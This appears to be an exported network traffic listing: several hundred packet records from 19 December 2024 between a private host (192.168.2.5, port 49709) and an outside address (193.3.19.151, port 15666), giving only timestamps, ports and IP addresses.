Dec 19, 2024 08:53:05.557380915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557430029 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557465076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557476997 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557523012 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557606936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557620049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557636023 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557666063 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557682991 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557694912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557744980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557775021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557790041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557816982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.557867050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557878971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.557925940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.559925079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.559988976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560040951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560060024 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560085058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560117960 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560276031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560288906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560312033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560323954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560328960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560347080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560381889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560403109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560416937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560461044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560509920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560523033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.560554981 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.560569048 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561027050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561084986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561084986 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561126947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561131001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561167955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561172009 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561304092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561327934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561357975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561372995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561403990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561418056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561450005 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561466932 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561505079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561525106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561548948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561574936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561575890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561590910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561635017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.561718941 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561742067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.561794043 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.563947916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.563993931 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564026117 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564043999 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564124107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564138889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564177990 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564197063 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564259052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564282894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564327955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564362049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564376116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564407110 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564408064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564429998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564450979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564459085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564521074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564569950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564583063 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564609051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564650059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564671040 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564686060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564821959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564876080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.564970016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564981937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.564996004 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565026045 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.565046072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.565205097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565217972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565264940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.565304995 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565318108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565363884 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.565392971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565418959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565470934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.565470934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565486908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.565532923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.567867994 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.567882061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.567897081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.567949057 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.567975044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568129063 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568141937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568161964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568183899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568209887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568212032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568252087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568259954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568274021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568320036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568353891 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568366051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568411112 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568429947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568455935 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568470955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.568494081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568514109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.568994999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569047928 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569089890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569184065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569206953 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569235086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569243908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569246054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569267988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569317102 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569358110 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569370985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569410086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569462061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569473982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569518089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569566011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569577932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569617987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.569650888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569663048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.569708109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572555065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.572623014 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572647095 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.572695017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572715044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.572737932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.572757006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572779894 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572850943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.572864056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.572896957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572913885 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.572966099 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573008060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573009014 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573050976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573133945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573147058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573177099 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573179007 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573193073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573193073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573201895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573232889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573255062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573292971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573306084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573349953 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573374987 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573386908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573432922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573460102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573472977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573496103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573523045 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573544025 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573611975 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573626041 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573658943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573673010 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573703051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573782921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573807001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573852062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573892117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573904991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.573951006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.573973894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.574035883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.574080944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.574162006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.574187040 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.574242115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.574265003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.574289083 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.574340105 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.575387001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575439930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575515985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.575544119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575591087 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575637102 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.575661898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575675964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575725079 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.575815916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575839043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575880051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.575896025 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.575923920 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.575946093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576050043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576061964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576081991 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576109886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576147079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576169968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576210976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576239109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576280117 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576282978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576433897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576446056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576462030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576478004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576493025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576505899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576530933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576545954 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576555014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576572895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576596975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576627016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576638937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576673031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576683998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576731920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576746941 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576777935 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.576785088 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576803923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.576822042 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.577965975 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578054905 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578088999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578105927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578130960 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578133106 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578213930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578229904 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578257084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578274012 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578325987 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578350067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578372002 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578389883 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578423977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578435898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578468084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578485966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578526974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578563929 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578615904 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578618050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578649998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578695059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578736067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578777075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578820944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578882933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578906059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.578947067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.578979969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.579005003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.579051018 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.579057932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.579071045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.579117060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.579150915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.579164028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.579215050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581034899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581085920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581101894 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581145048 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581264019 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581276894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581320047 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581407070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581430912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581460953 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581479073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581490993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581512928 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581535101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581541061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581552982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581568003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581588984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581609964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581665993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581707001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581753969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581804991 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581867933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581892014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581903934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.581914902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581931114 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.581948996 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.582005024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.582026958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.582056046 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.582072973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.582077980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.582099915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.582120895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.582134962 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.582139969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.582178116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.583683968 CET	15666	49709	193.3.19.151	192.168.2.5
